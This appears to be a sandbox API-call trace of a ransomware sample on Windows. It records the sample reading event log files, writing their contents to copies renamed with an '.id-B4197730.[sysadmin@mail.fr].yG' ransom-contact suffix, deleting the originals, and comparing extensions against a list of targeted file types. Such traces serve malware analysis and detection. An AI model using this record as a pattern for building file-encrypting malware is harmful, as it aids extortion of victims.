	[0047.593] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0047.593] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.594] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.594] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0047.597] GetLastError () returned 0x0
	[0047.597] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0047.922] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0047.936] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0048.413] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0048.416] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.416] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0048.417] SetEndOfFile (hFile=0x37c) returned 1
	[0048.417] CloseHandle (hObject=0x37c) returned 1
	[0048.437] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.437] SetEndOfFile (hFile=0x2f0) returned 1
	[0048.438] CloseHandle (hObject=0x2f0) returned 1
	[0048.439] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.439] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1
	[0048.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.439] lstrlenW (lpString=".doc") returned 4
	[0048.439] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.439] lstrlenW (lpString=".docx") returned 5
	[0048.439] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.439] lstrlenW (lpString=".pdf") returned 4
	[0048.439] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.439] lstrlenW (lpString=".xls") returned 4
	[0048.439] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.439] lstrlenW (lpString=".xlsx") returned 5
	[0048.439] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.439] lstrlenW (lpString=".ppt") returned 4
	[0048.439] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.439] lstrlenW (lpString=".zip") returned 4
	[0048.439] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".rar") returned 4
	[0048.440] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".bz2") returned 4
	[0048.440] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".7z") returned 3
	[0048.440] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString=".dbf") returned 4
	[0048.440] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString=".1cd") returned 4
	[0048.440] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString=".jpg") returned 4
	[0048.440] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString=".doc") returned 4
	[0048.440] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".docx") returned 5
	[0048.440] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.440] lstrlenW (lpString=".pdf") returned 4
	[0048.440] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".xls") returned 4
	[0048.440] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".xlsx") returned 5
	[0048.440] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.440] lstrlenW (lpString=".ppt") returned 4
	[0048.440] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.440] lstrlenW (lpString=".zip") returned 4
	[0048.440] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".rar") returned 4
	[0048.440] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.440] lstrlenW (lpString=".bz2") returned 4
	[0048.440] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.441] lstrlenW (lpString=".7z") returned 3
	[0048.441] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.441] lstrlenW (lpString=".dbf") returned 4
	[0048.441] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.441] lstrlenW (lpString=".1cd") returned 4
	[0048.441] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56
	[0048.441] lstrlenW (lpString=".jpg") returned 4
	[0048.441] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.441] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0048.441] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49
	[0048.441] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0048.441] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0048.441] CloseHandle (hObject=0x2f0) returned 1
	[0048.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20
	[0048.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.441] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0048.442] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.442] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0048.442] GetLastError () returned 0x0
	[0048.442] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0048.610] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0048.842] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0048.842] WriteFile (in: hFile=0x37c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x136, lpOverlapped=0x0) returned 1
	[0048.842] SetEndOfFile (hFile=0x37c) returned 1
	[0048.842] CloseHandle (hObject=0x37c) returned 1
	[0048.844] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.844] SetEndOfFile (hFile=0x2f0) returned 1
	[0048.845] CloseHandle (hObject=0x2f0) returned 1
	[0048.845] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0048.845] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1
	[0048.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.936] lstrlenW (lpString=".doc") returned 4
	[0048.936] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.936] lstrlenW (lpString=".docx") returned 5
	[0048.936] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.937] lstrlenW (lpString=".pdf") returned 4
	[0048.937] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".xls") returned 4
	[0048.937] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".xlsx") returned 5
	[0048.937] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.937] lstrlenW (lpString=".ppt") returned 4
	[0048.937] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString=".zip") returned 4
	[0048.937] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".rar") returned 4
	[0048.937] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".bz2") returned 4
	[0048.937] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".7z") returned 3
	[0048.937] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString=".dbf") returned 4
	[0048.937] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString=".1cd") returned 4
	[0048.937] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString=".jpg") returned 4
	[0048.937] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.937] lstrlenW (lpString=".doc") returned 4
	[0048.937] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".docx") returned 5
	[0048.937] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0048.937] lstrlenW (lpString=".pdf") returned 4
	[0048.937] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".xls") returned 4
	[0048.937] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0048.937] lstrlenW (lpString=".xlsx") returned 5
	[0048.938] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0048.938] lstrlenW (lpString=".ppt") returned 4
	[0048.938] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.938] lstrlenW (lpString=".zip") returned 4
	[0048.938] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString=".rar") returned 4
	[0048.938] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString=".bz2") returned 4
	[0048.938] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString=".7z") returned 3
	[0048.938] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0048.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.938] lstrlenW (lpString=".dbf") returned 4
	[0048.938] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.938] lstrlenW (lpString=".1cd") returned 4
	[0048.938] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0048.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57
	[0048.938] lstrlenW (lpString=".jpg") returned 4
	[0048.938] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0048.938] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0048.938] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47
	[0048.938] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0048.940] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0048.940] CloseHandle (hObject=0x37c) returned 1
	[0048.940] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20
	[0048.940] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0048.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0048.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0048.941] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0048.942] GetLastError () returned 0x0
	[0048.942] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0049.038] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0049.040] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.040] WriteFile (in: hFile=0x390, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x132, lpOverlapped=0x0) returned 1
	[0049.040] SetEndOfFile (hFile=0x390) returned 1
	[0049.040] CloseHandle (hObject=0x390) returned 1
	[0049.041] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.041] SetEndOfFile (hFile=0x388) returned 1
	[0049.043] CloseHandle (hObject=0x388) returned 1
	[0049.043] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0049.043] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1
	[0049.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.043] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.043] lstrlenW (lpString=".doc") returned 4
	[0049.043] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.043] lstrlenW (lpString=".docx") returned 5
	[0049.043] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.043] lstrlenW (lpString=".pdf") returned 4
	[0049.044] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".xls") returned 4
	[0049.044] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".xlsx") returned 5
	[0049.044] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.044] lstrlenW (lpString=".ppt") returned 4
	[0049.044] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString=".zip") returned 4
	[0049.044] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".rar") returned 4
	[0049.044] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".bz2") returned 4
	[0049.044] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".7z") returned 3
	[0049.044] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString=".dbf") returned 4
	[0049.044] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString=".1cd") returned 4
	[0049.044] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString=".jpg") returned 4
	[0049.044] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.044] lstrlenW (lpString=".doc") returned 4
	[0049.044] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".docx") returned 5
	[0049.044] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0049.044] lstrlenW (lpString=".pdf") returned 4
	[0049.044] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".xls") returned 4
	[0049.044] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0049.044] lstrlenW (lpString=".xlsx") returned 5
	[0049.044] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0049.045] lstrlenW (lpString=".ppt") returned 4
	[0049.045] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.045] lstrlenW (lpString=".zip") returned 4
	[0049.045] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString=".rar") returned 4
	[0049.045] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString=".bz2") returned 4
	[0049.045] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString=".7z") returned 3
	[0049.045] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0049.045] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.045] lstrlenW (lpString=".dbf") returned 4
	[0049.045] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.045] lstrlenW (lpString=".1cd") returned 4
	[0049.045] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0049.045] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55
	[0049.045] lstrlenW (lpString=".jpg") returned 4
	[0049.045] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0049.045] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0049.045] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63
	[0049.045] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.045] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0049.045] CloseHandle (hObject=0x388) returned 1
	[0049.045] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20
	[0049.046] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.046] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0049.046] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.046] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
